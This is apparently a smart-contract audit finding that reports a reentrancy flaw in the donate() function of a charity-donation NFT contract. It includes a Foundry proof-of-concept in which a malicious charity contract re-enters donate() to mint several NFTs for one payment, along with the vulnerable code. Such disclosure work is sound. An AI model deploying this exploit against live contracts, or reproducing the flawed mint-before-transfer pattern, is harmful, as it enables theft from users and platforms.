A high severity vulnerability was identified in the GivingThanks.sol contract where the donate() function is vulnerable to reentrancy attacks. This allows malicious actors to mint multiple NFTs with a single donation amount, breaking the core accounting system of the donation platform.
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../src/GivingThanks.sol";
import "../src/CharityRegistry.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
contract MaliciousCharity {
GivingThanks private immutable givingThanks;
uint256 public attackCount;
uint256 public constant ATTACK_ROUNDS = 2;
address public owner;
constructor(address _givingThanks) {
givingThanks = GivingThanks(_givingThanks);
owner = msg.sender;
}
receive() external payable {
if (attackCount < ATTACK_ROUNDS) {
attackCount++;
givingThanks.donate{value: msg.value}(address(this));
}
}
function withdrawEth() external {
require(msg.sender == owner, "Not owner");
(bool success, ) = payable(owner).call{value: address(this).balance}("");
require(success, "Transfer failed");
}
function getAttackRounds() public pure returns (uint256) {
return ATTACK_ROUNDS;
}
}
contract GivingThanksTest is Test {
GivingThanks public charityContract;
CharityRegistry public registryContract;
MaliciousCharity public maliciousCharity;
address public admin;
address public donor;
uint256 public constant DONATION_AMOUNT = 1 ether;
receive() external payable {}
function setUp() public {
admin = makeAddr("admin");
donor = makeAddr("donor");
vm.startPrank(admin);
registryContract = new CharityRegistry();
charityContract = new GivingThanks(address(registryContract));
vm.stopPrank();
vm.startPrank(donor);
maliciousCharity = new MaliciousCharity(address(charityContract));
vm.stopPrank();
vm.startPrank(admin);
registryContract.registerCharity(address(maliciousCharity));
registryContract.verifyCharity(address(maliciousCharity));
charityContract.updateRegistry(address(registryContract));
vm.stopPrank();
}
function testReentrancyNFTExploit() public {
vm.deal(donor, DONATION_AMOUNT);
uint256 initialTokenCounter = charityContract.tokenCounter();
console.log("Initial token counter:", initialTokenCounter);
console.log("Initial donor ETH:", DONATION_AMOUNT);
vm.startPrank(donor);
charityContract.donate{value: DONATION_AMOUNT}(address(maliciousCharity));
vm.stopPrank();
uint256 finalTokenCounter = charityContract.tokenCounter();
console.log("Final token counter:", finalTokenCounter);
console.log("Total NFTs minted:", finalTokenCounter - initialTokenCounter);
console.log("ETH spent per NFT:", DONATION_AMOUNT / (finalTokenCounter - initialTokenCounter));
assertEq(
finalTokenCounter,
initialTokenCounter + maliciousCharity.getAttackRounds() + 1,
"Multiple NFTs should be minted with single ETH payment"
);
for (uint256 i = 0; i < maliciousCharity.getAttackRounds() + 1; i++) {
address owner = charityContract.ownerOf(initialTokenCounter + i);
assertTrue(
owner == donor || owner == address(maliciousCharity),
"NFT should be owned by donor or malicious contract"
);
}
assertEq(
finalTokenCounter - initialTokenCounter,
maliciousCharity.getAttackRounds() + 1,
"Should mint multiple NFTs for single ETH payment"
);
}
}
slither .
function donate(address charity) public payable {
require(registry.isVerified(charity), "Charity not verified");
uint256 currentTokenId = tokenCounter++;
_mint(msg.sender, currentTokenId);
string memory uri = _createTokenURI(msg.sender, block.timestamp, msg.value);
_setTokenURI(currentTokenId, uri);
(bool sent,) = charity.call{value: msg.value}("");
require(sent, "Failed to send Ether");
}